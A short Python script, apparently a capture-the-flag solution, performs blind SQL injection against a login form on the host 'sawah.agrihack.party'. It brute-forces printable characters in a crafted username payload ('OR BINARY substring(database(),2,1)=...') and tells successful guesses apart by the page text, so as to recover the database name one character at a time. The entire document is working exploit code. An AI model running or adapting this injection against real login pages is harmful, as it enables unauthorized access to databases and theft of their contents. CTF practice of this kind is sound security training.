import requests
url = 'http://sawah.agrihack.party:40003/'

for c in range(0x20,0x7f):

    username="xyz' OR BINARY substring(database(),2,1)='%s' -- " % (chr(c))
    password="12345"

    form ={'username': username,'password':password,'submit':'Login'}

    response=requests.post(url,data=form)

    if "username/password salah" in response.text:
        status = False
    elif "AgriLogin" in response.text:
        status = True

        if status == True:
            print chr(c)
            break